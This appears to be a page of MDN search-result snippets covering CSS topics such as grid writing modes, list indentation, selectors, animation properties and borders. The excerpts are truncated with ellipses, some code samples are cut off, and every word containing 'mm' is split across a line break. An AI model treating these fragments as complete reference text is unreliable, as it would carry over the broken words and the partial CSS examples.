ails how we can use these different writing modes in css, not just for the support of languages that have a different writing mode to english, but also for creative purposes. i’ll be using the writing-mode property to make changes to the writing mode applied to our grid, in order to demonstrate how the logical values work. if you want to dig into writing modes further, however, then i would reco
mmend that you read jen si
mmons excellent article on css writing modes. this goes into more depth on that specification than we will touch upon here. writing-mode writing modes are more than just left to right and right to left text, and the writing-mode property helps us display text running in other directions. the writing-mode property can have values of: horizontal-tb vertical-rl vertical...
...sical properties frequently when building websites, and while the grid placement and alignment properties and values respect writing modes, there are things you may want to do with grid that force you to use physical properties and values. in the guide to box alignment and grids, i demonstrated how auto margins work in a grid area. using an auto margin to push one item away from the others is a co
mmon flexbox trick too, however this also ties the layout to the physical space. if you use absolute positioning within a grid area, then you will again be using physical offsets to push the item around inside the grid area. the key thing is to be aware of, is the tension between physical and logical properties and values. for example, be aware that you may need to make changes to your css to cope ...
CSS Grid Layout - CSS: Cascading Style Sheets
row grid column guides basic concepts of grid layout relationship of grid layout to other layout methods layout using line-based placement grid template areas layout using named grid lines auto-placement in css grid layout box alignment in css grid layout css grid, logical values and writing modes css grid layout and accessibility css grid and progressive enhancement realising co
mmon layouts using css grid subgrid external resources css grid and ie11 (polyfill) examples from jen si
mmons grid by example - a collection of usage examples and video tutorials codrops grid reference firefox devtools css grid inspector css grid playground grid garden - a game for learning css grid specifications specification status co
mment css grid layo...
...es from jen si
mmons grid by example - a collection of usage examples and video tutorials codrops grid reference firefox devtools css grid inspector css grid playground grid garden - a game for learning css grid specifications specification status co
mment css grid layout module level 2 working draft added subgrids. css grid layout candidate reco
mmendation initial definition. ...
Consistent list indentation - CSS: Cascading Style Sheets
this often leads to frustration, because what works in one browser often doesn't have the same effect in another. for example, if you declare that lists have no left margin, they move over in internet explorer, but sit stubbornly in place in gecko-based browsers.this article will help you understand the problems that can occur and how to avoid them. in order to understand why this is the case, and more importantly how to avoid the problem altogether, it's necessary to examine the details of list construction. making a list first, we consider a single, pure list item. ...
...w, and thus will not be visible. conclusion in the end, we can see that none of the browsers mentioned in this article is right or wrong about how they lay out lists. they use different default styles, and that's where the problems creep in. by making sure you style both the left padding and left margin of lists, you can find much greater cross-browser consistency in your list indentation. reco
mmendations when altering the indentation of lists, make sure to set both the padding and margin. original document information author(s): eric a. meyer, netscape co
mmunications last updated date: published 30 aug 2002 copyright information: copyright © 2001-2003 netscape. all rights reserved. note: this reprinted article was originally part of the devedge site. ...
CSS Lists - CSS: Cascading Style Sheets
lists can be laid out and styled. ...
...e-position list-style guides consistent list indentation explains how to achieve consistent list indentation across different browsers. ...
CSS Masking - CSS: Cascading Style Sheets
ly hiding portions of visual elements. ...
... clip clip-path clip-rule mask mask-border mask-border-mode mask-border-outset mask-border-repeat mask-border-slice mask-border-source mask-border-width mask-clip mask-composite mask-image mask-mode mask-origin mask-position mask-repeat mask-size mask-type specifications specification status co
mment css masking module level 1 candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'mask' in that specification. reco
mmendation initial definition ...
CSS Namespaces - CSS: Cascading Style Sheets
css namespaces is a css module that allows authors to specify xml namespaces in css. ...
... css namespaces is a css module that allows authors to specify xml namespaces in css. ...
CSS Positioned Layout - CSS: Cascading Style Sheets
css positioned layout is a module of css that defines how to position elements on the page. ...
...reference css properties bottom clear float left position right top z-index guides understanding css z-index presents the notion of stacking context and explains how z-ordering works, with several examples. specifications specification status co
mment css positioned layout module level 3 working draft css level 2 (revision 1) reco
mmendation ...
Using CSS transforms - CSS: Cascading Style Sheets
div class="cube poml"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <caption><code>perspective-origin: 50% 50%;</code></caption> <div class="container"> <div class="cube po
mm"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> <figure> <caption><code>perspective-origin: right;</code></caption> <div class="container"> <div class="cube pomr"> <div class=...
...s="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </figure> </section> css /* perspective-origin values (unique per example) */ .potl { perspective-origin: top left; } .potm { perspective-origin: top; } .potr { perspective-origin: top right; } .poml { perspective-origin: left; } .po
mm { perspective-origin: 50% 50%; } .pomr { perspective-origin: right; } .pobl { perspective-origin: bottom left; } .pobm { perspective-origin: bottom; } .pobr { perspective-origin: bottom right; } .po200200neg { perspective-origin: -200% -200%; } .po200200pos { perspective-origin: 200% 200%; } .po200200 { perspective-origin: 200% -200%; } /* define the container div, the cube div, ...
CSS Custom Properties for Cascading Variables - CSS: Cascading Style Sheets
css custom properties for cascading variables is a css module that allows for the creation of custom properties that can be used over and over. ...
... css custom properties for cascading variables is a css module that allows for the creation of custom properties that can be used over and over. ...
Child combinator - CSS: Cascading Style Sheets
the child combinator (>) is placed between two css selectors. it matches only those elements matched by the second selector that are the direct children of elements matched by the first. /* list items that are children of the "my-things" list */ ul.my-things > li { margin: 2em; } elements matched by the second selector must be the i
mmediate children of the elements matched by the first selector. this is stricter than the descendant combinator, which matches all elements matched by the second selector for which there exists an ancestor element matched by the first selector, regardless of the number of "hops" up the dom. syntax selector1 > selector2 { style properties } examples css span { background-color: white; } div > span { background-color: dodgerblue; } html <div> <...
..."hops" up the dom. syntax selector1 > selector2 { style properties } examples css span { background-color: white; } div > span { background-color: dodgerblue; } html <div> <span>span #1, in the div. <span>span #2, in the span that's in the div.</span> </span> </div> <span>span #3, not in the div at all.</span> result specifications specification status co
mment selectors level 4the definition of 'child combinator' in that specification. working draft selectors level 3the definition of 'child combinators' in that specification. reco
mmendation no change. css level 2 (revision 1)the definition of 'child selectors' in that specification. reco
mmendation initial definition. ...
Class selectors - CSS: Cascading Style Sheets
round: #ffa; } .fancy { font-weight: bold; text-shadow: 4px 4px 3px #77f; } html <p class="red">this paragraph has red text.</p> <p class="red yellow-bg">this paragraph has red text and a yellow background.</p> <p class="red fancy">this paragraph has red text and "fancy" styling.</p> <p>this is just a regular paragraph.</p> result specifications specification status co
mment selectors level 4the definition of 'class selectors' in that specification. working draft no changes selectors level 3the definition of 'class selectors' in that specification. reco
mmendation css level 2 (revision 1)the definition of 'child selectors' in that specification. reco
mmendation css level 1the definition of 'child selectors'...
...l 4the definition of 'class selectors' in that specification. working draft no changes selectors level 3the definition of 'class selectors' in that specification. ...
General sibling combinator - CSS: Cascading Style Sheets
the general sibling combinator (~) separates two selectors and matches the second element only if it follows the first element (though not necessarily i
mmediately), and both are children of the same parent element. /* paragraphs that are siblings of and subsequent to any image */ img ~ p { color: red; } syntax former_element ~ target_element { style properties } examples css p ~ span { color: red; } html <span>this is not red.</span> <p>here is a paragraph.</p> <code>here is some code.</code> <span>and here is a red span!</span> <code>more code...</code> <span>and this is a red span!</span> result specifications specification status co
mment selectors level 4the definition of 'subsequent-sibling combinator' in that specification. working d...
...e code...</code> <span>and this is a red span!</span> result specifications specification status co
mment selectors level 4the definition of 'subsequent-sibling combinator' in that specification. working draft renames it the "subsequent-sibling" combinator. selectors level 3the definition of 'general sibling combinator' in that specification. reco
mmendation initial definition. ...
ID selectors - CSS: Cascading Style Sheets
{ style properties } note that syntactically (but not specificity-wise), this is equivalent to the following attribute selector: [id=id_value] { style properties } examples css #identified { background-color: skyblue; } html <div id="identified">this div has a special id on it!</div> <div>this is just a regular div.</div> result specifications specification status co
mment selectors level 4the definition of 'id selectors' in that specification. working draft selectors level 3the definition of 'id selectors' in that specification. reco
mmendation css level 2 (revision 1)the definition of 'id selectors' in that specification. reco
mmendation css level 1the definition of 'id selectors' in that specification...
... selectors level 4the definition of 'id selectors' in that specification. working draft selectors level 3the definition of 'id selectors' in that specification. ...
Mozilla CSS extensions - CSS: Cascading Style Sheets
t button-arrow-previous button-arrow-up button-bevel checkbox checkbox-container checkbox-label checkmenuitem dialog groupbox listbox menuarrow menucheckbox menuimage menuitem menuitemtext menulist menulist-button menulist-text menulist-textfield menupopup menuradio menuseparator -moz-mac-unified-toolbar -moz-win-borderless-glass -moz-win-browsertabbar-toolbox -moz-win-co
mmunications-toolbox -moz-win-glass -moz-win-media-toolbox -moz-window-button-box -moz-window-button-box-maximized -moz-window-button-close -moz-window-button-maximize -moz-window-button-minimize -moz-window-button-restore -moz-window-titlebar -moz-window-titlebar-maximized progressbar progresschunk radio radio-container radio-label radiomenuitem resizer resizerpanel scale-horizon...
...gtargetzone -moz-mac-accentdarkestshadow -moz-mac-accentdarkshadow -moz-mac-accentface -moz-mac-accentlightesthighlight -moz-mac-accentlightshadow -moz-mac-accentregularhighlight -moz-mac-accentregularshadow -moz-mac-chrome-active -moz-mac-chrome-inactive -moz-mac-focusring -moz-mac-menuselect -moz-mac-menushadow -moz-mac-menutextselect -moz-menuhover -moz-menuhovertext -moz-win-co
mmunicationstext -moz-win-mediatext -moz-nativehyperlinktext display -moz-box -moz-inline-block -moz-inline-box -moz-inline-gridobsolete since gecko 62 -moz-inline-stackobsolete since gecko 62 -moz-inline-table -moz-gridobsolete since gecko 62 -moz-grid-groupobsolete since gecko 62 -moz-grid-lineobsolete since gecko 62 -moz-groupbox -moz-deckobsolete since gecko 62 -moz-...
Shorthand properties - CSS: Cascading Style Sheets
shorthand properties are css properties that let you set the values of multiple other css properties simultaneously. using a shorthand property, you can write more concise (and often more readable) style sheets, saving time and energy. the css specification defines shorthand properties to group the definition of co
mmon properties acting on the same theme. for instance, the css background property is a shorthand property that's able to define the values of background-color, background-image, background-repeat, and background-position. similarly, the most co
mmon font-related properties can be defined using the shorthand font, and the different margins around a box can be defined using the margin shorthand. tricky edge cases even if they are very convenient to use, there are a few edge case...
... third and fourth links are the color that they are? check the description of the values above if not. which of the links will change color if you define a new color for the <a> element — for example a { color: red; }? see cascade and inheritance or introducing the css cascade for more information about how inheritance works in css. see also css key concepts: css syntax, at-rule, co
mments, specificity and inheritance, the box, layout modes and visual formatting models, and margin collapsing, or the initial, computed, resolved, specified, used, and actual values. definitions of value syntax, shorthand properties and replaced elements. shorthand properties: animation, background, border, border-bottom, border-color, border-left, border-radius, border-right, borde...
Specificity - CSS: Cascading Style Sheets
herited rule. this css ... #parent { color: green; } h1 { color: purple; } ... with the following html ... <html> <body id="parent"> <h1>here is a title!</h1> </body> </html> ... will also render as: this is because the h1 selector targets the element specifically, but the green selector is only inherited from its parent. specifications specification status co
mment selectors level 4the definition of 'calculating a selector's specificity' in that specification. working draft add the specificity adjustment selector :where(). selectors level 3the definition of 'calculating a selector's specificity' in that specification. reco
mmendation add pseudo-elements. css level 2 (revision 1)the definition of 'calculating a se...
...'calculating a selector's specificity' in that specification. working draft add the specificity adjustment selector :where(). selectors level 3the definition of 'calculating a selector's specificity' in that specification. reco
mmendation add pseudo-elements. css level 2 (revision 1)the definition of 'calculating a selector's specificity' in that specification. reco
mmendation add pseudo-classes. css level 1the definition of 'cascading order' in that specification. reco
mmendation initial definition. ...
Actual value - CSS: Cascading Style Sheets
...
...ute will have its computed display changed to block). then, layout is calculated, resulting in the used value. finally, the used value is transformed according to the limitations of the local environment, resulting in the actual value. specifications specification status co
mment css level 2 (revision 1)the definition of 'actual value' in that specification. reco
mmendation initial definition. ...
align-self - CSS: Cascading Style Sheets
...
...v:nth-child(3) { align-self: flex-end; background: pink; } result specifications specification status co
mment css box alignment module level 3the definition of 'align-self' in that specification. working draft update to latest syntax definitions. css flexible box layout modulethe definition of 'align-self' in that specification. candidate reco
mmendation initial definition. ...
all - CSS: Cascading Style Sheets
...
...t styling: it is a block element now (inherited value from its containing <body> element), its background-color is #f0f0f0 (inherited value), its font-size is small (inherited value) and its color is blue (inherited value). specifications specification status co
mment css cascading and inheritance level 4the definition of 'all' in that specification. candidate reco
mmendation added the revert value. css cascading and inheritance level 3the definition of 'all' in that specification. candidate reco
mmendation initial definition. ...
<alpha-value> - CSS: Cascading Style Sheets
...
...ed part of a shape: /* shape-image-threshold */ shape-image-threshold: 70%; shape-image-threshold: 0.7; specifications specification status co
mment css color module level 4the definition of '<alpha-value>' in that specification. working draft no significant change. css color module level 3the definition of '<alpha-value>' in that specification. reco
mmendation introduces <alpha-value> along with rgba() and hsla() functional notations. ...
<angle> - CSS: Cascading Style Sheets
...
... -0.25turn ≈ -1.5708rad setting a null angle 0 = 0deg = 0grad = 0turn = 0rad specifications specification status co
mment css values and units module level 4the definition of '<angle>' in that specification. editor's draft css values and units module level 3the definition of '<angle>' in that specification. candidate reco
mmendation initial definition. ...
animation-direction - CSS: Cascading Style Sheets
comes ease-out. alternate the animation reverses direction each cycle, with the first iteration being played forwards. the count to determine if a cycle is even or odd starts at one. alternate-reverse the animation reverses direction each cycle, with the first iteration being played backwards. the count to determine if a cycle is even or odd starts at one. note: when you specify multiple co
mma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are. for more information, see setting multiple animation property values. formal definition initial valuenormalapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation type...
...y values. formal definition initial valuenormalapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <single-animation-direction>#where <single-animation-direction> = normal | reverse | alternate | alternate-reverse examples see css animations for examples. specifications specification status co
mment css animationsthe definition of 'animation-direction' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxint...
animation-duration - CSS: Cascading Style Sheets
is may be specified in either seconds (s) or milliseconds (ms). the value must be positive or zero and the unit is required. a value of 0s, which is the default value, indicates that no animation should occur. note: negative values are invalid, causing the declaration to be ignored. some early, prefixed, implementations may consider them as identical to 0s. note: when you specify multiple co
mma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are. for more information, see setting multiple animation property values. formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typedisc...
...in different ways depending on how many there are. for more information, see setting multiple animation property values. formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples see css animations for examples. specifications specification status co
mment css animationsthe definition of 'animation-duration' in that specification. working draft initial definition. ...
animation-fill-mode - CSS: Cascading Style Sheets
depends on the value of animation-direction: animation-direction first relevant keyframe normal or alternate 0% or from reverse or alternate-reverse 100% or to both the animation will follow the rules for both forwards and backwards, thus extending the animation properties in both directions. note: when you specify multiple co
mma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are. for more information, see setting multiple animation property values. formal definition initial valuenoneapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typedi...
... working draft initial definition. ...
animation-iteration-count - CSS: Cascading Style Sheets
equest. it is often convenient to use the shorthand property animation to set all animation properties at once. syntax /* keyword value */ animation-iteration-count: infinite; /* <number> values */ animation-iteration-count: 3; animation-iteration-count: 2.4; /* multiple values */ animation-iteration-count: 2, 0, infinite; the animation-iteration-count property is specified as one or more co
mma-separated values. values infinite the animation will repeat forever. <number> the number of times the animation will repeat; this is 1 by default. you may specify non-integer values to play part of an animation cycle: for example, 0.5 will play half of the animation cycle. negative values are invalid. note: when you specify multiple values on an animation-* property, they will be assig...
...iple animation property values. formal definition initial value1applies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <single-animation-iteration-count>#where <single-animation-iteration-count> = infinite | <number> examples see css animations for examples. specifications specification status co
mment css animationsthe definition of 'animation-iteration-count' in that specification. working draft initial definition. ...
animation-name - CSS: Cascading Style Sheets
stom-ident> a name identifying the animation. this identifier is composed of a combination of case-sensitive letters a to z, numbers 0 to 9, underscores (_), and/or dashes (-). the first non-dash character must be a letter. also, two dashes are forbidden at the beginning of the identifier. furthermore, the identifier can't be none, unset, initial, or inherit. note: when you specify multiple co
mma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are. for more information, see setting multiple animation property values. formal definition initial valuenoneapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typedi...
...see setting multiple animation property values. formal definition initial valuenoneapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ none | <keyframes-name> ]#where <keyframes-name> = <custom-ident> | <string> examples see css animations for examples. specifications specification status co
mment css animationsthe definition of 'animation-name' in that specification. working draft initial definition. ...
animation-play-state - CSS: Cascading Style Sheets
animation */ animation-play-state: running; animation-play-state: paused; /* multiple animations */ animation-play-state: paused, running, running; /* global values */ animation-play-state: inherit; animation-play-state: initial; animation-play-state: unset; values running the animation is currently playing. paused the animation is currently paused. note: when you specify multiple co
mma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are. for more information, see setting multiple animation property values. formal definition initial valuerunningapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typ...
...ng multiple animation property values. formal definition initial valuerunningapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <single-animation-play-state>#where <single-animation-play-state> = running | paused examples see css animations for examples. specifications specification status co
mment css animationsthe definition of 'animation-play-state' in that specification. working draft initial definition. ...
animation-timing-function - CSS: Cascading Style Sheets
on either end. instead, holding at both the 0% mark and the 100% mark, each for 1/n of the duration. jump-both includes pauses at both the 0% and 100% marks, effectively adding a step during the animation iteration. start same as jump-start. end same as jump-end. step-start equal to steps(1, jump-start) step-end equal to steps(1, jump-end) note: when you specify multiple co
mma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there are. for more information, see setting multiple animation property values. formal definition initial valueeaseapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typedi...
... working draft initial definition. ...
animation - CSS: Cascading Style Sheets
cription is also valid for css transitions. constituent properties this property is a shorthand for the following css properties: animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function syntax the animation property is specified as one or more single animations, separated by co
mmas. each individual animation is specified as: zero or one occurrences of the following values: <single-transition-timing-function> <single-animation-iteration-count> <single-animation-direction> <single-animation-fill-mode> <single-animation-play-state> an optional name for the animation, which may be none, a <custom-ident>, or a <string> zero, one, or two <time> valu...
... working draft initial definition. ...
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
firefox removed in firefox 64. treetwisty firefox removed in firefox 64. treetwistyopen firefox removed in firefox 64. treeview firefox removed in firefox 64. -moz-win-borderless-glass firefox removed in firefox 64. -moz-win-browsertabbar-toolbox firefox removed in firefox 64. -moz-win-co
mmunicationstext firefox removed in firefox 64. -moz-win-co
mmunications-toolbox firefox removed in firefox 64. -moz-win-exclude-glass firefox removed in firefox 64. -moz-win-glass firefox removed in firefox 64. -moz-win-media-toolbox firefox removed in firefox 64. -moz-window-button-box firefox r...
... working draft initial definition. ...
backdrop-filter - CSS: Cascading Style Sheets
the backdrop-filter css property lets you apply graphical effects such as blurring or color shifting to the area behind an element. because it applies to everything behind the element, to see the effect you must make the element or its background at least partially transparent. ...
... editor's draft initial definition. ...
background-blend-mode - CSS: Cascading Style Sheets
peated and/or truncated until lengths match. syntax /* one value */ background-blend-mode: normal; /* two values, one per background */ background-blend-mode: darken, luminosity; /* global values */ background-blend-mode: initial; background-blend-mode: inherit; background-blend-mode: unset; values <blend-mode> the blending mode to be applied. there can be several values, separated by co
mmas. formal definition initial valuenormalapplies toall elements. in svg, it applies to container elements, graphics elements, and graphics referencing elements.. it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <blend-mode>#where <blend-mode> = normal | multiply | screen | overlay | darken | lighten | color-dodge | co...
...543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications specification status co
mment compositing and blending level 1the definition of 'background-blend-mode' in that specification. candidate reco
mmendation initial definition ...
background-position-x - CSS: Cascading Style Sheets
values left aligns the left edge of the background image with the left edge of the background position layer. center aligns the center of the background image with the center of the background position layer. right aligns the right edge of the background image with the right edge of the background position layer. <length> the offset of the given background image's left vertical edge...
.... html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status co
mment css backgrounds and borders module level 4the definition of 'background-position-x' in that specification. editor's draft initial specification of longhand sub-properties of background-position to match longstanding implementations. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, p...
background-position-y - CSS: Cascading Style Sheets
values top aligns the top edge of the background image with the top edge of the background position layer. center aligns the vertical center of the background image with the vertical center of the background position layer. bottom aligns the bottom edge of the background image with the bottom edge of the background position layer. <length> the offset of the given background image's ...
.... html <div></div> css div { width: 300px; height: 300px; background-color: skyblue; background-image: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png); background-repeat: no-repeat; background-position-x: center; background-position-y: bottom 10px; } result specifications specification status co
mment css backgrounds and borders module level 4the definition of 'background-position-y' in that specification. editor's draft initial specification of longhand sub-properties of background-position to match longstanding implementations. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, p...
border-bottom-left-radius - CSS: Cascading Style Sheets
not a square: an arc of ellipse is used as the border div { border-bottom-left-radius: 40%; } . ...
...kground color is clipped at the border div { border-bottom-left-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom-left-radius' in that specification. candidate reco
mmendation initial definition ...
border-bottom-right-radius - CSS: Cascading Style Sheets
ot a square: an arc of ellipse is used as the border div { border-bottom-right-radius: 40%; } . ...
...round color is clipped at the border div { border-bottom-right-radius:40%; border-style: black 3px double; background-color: rgb(250,20,70); background-clip: content-box; } specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom-right-radius' in that specification. candidate reco
mmendation initial definition ...
border-bottom-width - CSS: Cascading Style Sheets
css level 1the definition of 'border-bottom-width' in that specification. ...
...element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-bottom-width: thick; } div:nth-child(2) { border-bottom-width: 2em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom-width' in that specification. candidate reco
mmendation no significant change. css level 2 (revision 1)the definition of 'border-bottom-width' in that specification. reco
mmendation no significant change. css level 1the definition of 'border-bottom-width' in that specification. reco
mmendation initial definition. browser compatibility the compatibility table in this page is generated from structured data.
border-bottom - CSS: Cascading Style Sheets
a-value>? )where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples applying a bottom border html <div> this box has a border on the bottom side. </div> css div { border-bottom: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-bottom' in that specification. candidate reco
mmendation no direct changes, though the modification of values for the border-bottom-color do apply to it. css level 2 (revision 1)the definition of 'border-bottom' in that specification. reco
mmendation no significant changes. css level 1t...
...definition of 'border-bottom' in that specification. candidate reco
mmendation no direct changes, though the modification of values for the border-bottom-color do apply to it. css level 2 (revision 1)the definition of 'border-bottom' in that specification. reco
mmendation no significant changes. ...
border-color - CSS: Cascading Style Sheets
css level 2 (revision 1)the definition of 'border-color' in...
... 0.3em; width: auto; margin: 0.5em; padding: 0.5em; } ul { margin: 0; list-style: none; } result specifications specification status co
mment css logical properties and values level 1 editor's draft added the logical keyword. css backgrounds and borders module level 3the definition of 'border-color' in that specification. candidate reco
mmendation the transparent keyword has been removed as it is now a part of the <color> data type. css level 2 (revision 1)the definition of 'border-color' in that specification. reco
mmendation the property is now a shorthand property. css level 1the definition of 'border-color' in that specification. reco
mmendation initial definition. ...
border-image-width - CSS: Cascading Style Sheets
accusam et justo duo dolores et ea rebum. ...
...p { border: 20px solid; border-image: url("/static/external/21/214842819586a8dd293c17b38d0fd0e26430146a86dd04294a53ecaeeea7d0e2.png") 30 round; border-image-width: 16px; padding: 40px; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-image-width' in that specification. candidate reco
mmendation initial definition ...
border-left-style - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from struct...
....b5 {border-left-style: solid;} .b6 {border-left-style: double;} .b7 {border-left-style: groove;} .b8 {border-left-style: ridge;} .b9 {border-left-style: inset;} .b10 {border-left-style: outset;} result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-left-style' in that specification. candidate reco
mmendation no significant change. css level 2 (revision 1)the definition of 'border-left-style' in that specification. reco
mmendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-left-width - CSS: Cascading Style Sheets
css level 1the definition of 'border-left-width' in that specification. reco...
... <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-left-width: thick; } div:nth-child(2) { border-left-width: 2em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-left-width' in that specification. candidate reco
mmendation no significant change. css level 2 (revision 1)the definition of 'border-left-width' in that specification. reco
mmendation no significant change. css level 1the definition of 'border-left-width' in that specification. reco
mmendation initial definition. ...
border-left - CSS: Cascading Style Sheets
<alpha-value>? )where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples applying a left border html <div> this box has a border on the left side. </div> css div { border-left: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-left' in that specification. candidate reco
mmendation no direct changes, though the modification of values for the border-left-color do apply to it. css level 2 (revision 1)the definition of 'border-left' in that specification. reco
mmendation no significant changes. css level 1the def...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
border-right-style - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from stru...
...rder-right-style: solid;} .b6 {border-right-style: double;} .b7 {border-right-style: groove;} .b8 {border-right-style: ridge;} .b9 {border-right-style: inset;} .b10 {border-right-style: outset;} result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-right-style' in that specification. candidate reco
mmendation no significant change. css level 2 (revision 1)the definition of 'border-right-style' in that specification. reco
mmendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request...
border-right-width - CSS: Cascading Style Sheets
css level 1the definition of 'border-right-width' in that specification. r...
...iv>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-right-width: thick; } div:nth-child(2) { border-right-width: 2em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-right-width' in that specification. candidate reco
mmendation no significant change. css level 2 (revision 1)the definition of 'border-right-width' in that specification. reco
mmendation no significant change. css level 1the definition of 'border-right-width' in that specification. reco
mmendation initial definition. ...
border-right - CSS: Cascading Style Sheets
e>? )where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples applying a right border to a div html <div> this box has a border on the right side. </div> css div { border-right: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-right' in that specification. candidate reco
mmendation no direct changes, though the modification of values for the border-right-color do apply to it. css level 2 (revision 1)the definition of 'border-right' in that specification. reco
mmendation no significant changes. css level 1the ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
border-top-style - CSS: Cascading Style Sheets
initial valuenoneapplies toall elements. it also applies to ::first-letter.inheritedno...
...shed;} .b5 {border-top-style: solid;} .b6 {border-top-style: double;} .b7 {border-top-style: groove;} .b8 {border-top-style: ridge;} .b9 {border-top-style: inset;} .b10 {border-top-style: outset;} result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-top-style' in that specification. candidate reco
mmendation no significant change. css level 2 (revision 1)the definition of 'border-top-style' in that specification. reco
mmendation initial definition. initial valuenoneapplies toall elements. it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete ...
border-top - CSS: Cascading Style Sheets
e>, <alpha-value>? )where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples applying a top border html <div> this box has a border on the top side. </div> css div { border-top: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-top' in that specification. candidate reco
mmendation no direct changes, though the modification of values for the border-top-color do apply to it. css level 2 (revision 1)the definition of 'border-top' in that specification. reco
mmendation no significant changes. css level 1the defini...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
border-width - CSS: Cascading Style Sheets
1em left</p> css #sval { border: ridge #ccc; border-width: 6px; } #bival { border: solid red; border-width: 2px 10px; } #treval { border: dotted orange; border-width: 0.3em 0 9px; } #fourval { border: solid lightgreen; border-width: thin medium thick 1em; } p { width: auto; margin: 0.25em; padding: 0.25em; } result specifications specification status co
mment css backgrounds and borders module level 3the definition of 'border-width' in that specification. candidate reco
mmendation no direct change; the <length> css data type extension has an effect on this property. css level 2 (revision 1)the definition of 'border-width' in that specification. reco
mmendation added the constraint that values' meaning must be constan...
...ification. candidate reco
